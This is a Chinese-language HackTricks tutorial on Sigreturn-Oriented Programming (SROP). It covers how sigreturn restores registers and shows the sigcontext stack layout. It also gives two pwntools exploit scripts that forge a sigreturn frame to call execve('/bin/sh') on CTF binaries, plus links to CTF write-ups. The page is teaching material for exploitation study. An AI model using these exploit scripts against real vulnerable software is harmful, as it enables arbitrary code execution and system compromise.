SROP - Sigreturn-Oriented Programming
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Sigreturn
是一个特殊的 syscall,主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 signal handler 处理信号,signal handler 是一个专门处理信号的函数。
在信号处理程序完成后,程序需要 恢复其先前的状态,就像什么都没有发生一样。这就是 sigreturn
发挥作用的地方。它帮助程序 从信号处理程序返回,并通过清理信号处理程序使用的堆栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。
有趣的是 sigreturn
是如何恢复程序状态的:它通过将 所有 CPU 的寄存器值存储在堆栈上 来实现。当信号不再被阻塞时,sigreturn
从堆栈中弹出这些值,有效地将 CPU 的寄存器重置为信号处理之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器(RSP)。
caution
从 ROP 链中调用 syscall sigreturn
并 添加我们希望加载到堆栈中的寄存器值,可以 控制 所有寄存器值,因此 调用 例如 syscall execve
和 /bin/sh
。
注意这将是一种 Ret2syscall 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易:
如果你感兴趣,这是存储在堆栈中的 sigcontext 结构,以便稍后恢复值(图示来自 这里):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
为了更好的解释,请查看:
示例
您可以在这里找到一个示例,其中通过 ROP 构造了对 signeturn 的调用(将值 0xf
放入 rxa),尽管这只是最终的利用:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
检查此处的漏洞利用,其中二进制文件已经调用了sigreturn
,因此不需要使用ROP来构建。
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
其他示例与参考
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- 允许写入栈的汇编二进制文件,然后调用**
sigreturn
系统调用。可以通过sigreturn**结构在栈上写入一个ret2syscall,并读取二进制内存中的标志。 - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- 允许写入栈的汇编二进制文件,然后调用**
sigreturn
系统调用。可以通过sigreturn**结构在栈上写入一个ret2syscall(该二进制文件包含字符串/bin/sh
)。 - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64位,无relro,无canary,nx,无pie。简单的缓冲区溢出,利用
gets
函数,缺乏执行ret2syscall的gadgets。ROP链通过再次调用gets将/bin/sh
写入.bss
,利用**alarm
函数将eax设置为0xf
以调用SROP**并执行一个shell。 - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用
exit
。选择的系统调用是sigreturn
,它将设置寄存器并移动eip
以调用先前的系统调用指令并运行memprotect
以将二进制空间设置为rwx
并在二进制空间中设置ESP。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。 - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP用于赋予执行权限(memprotect)给放置shellcode的地方。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。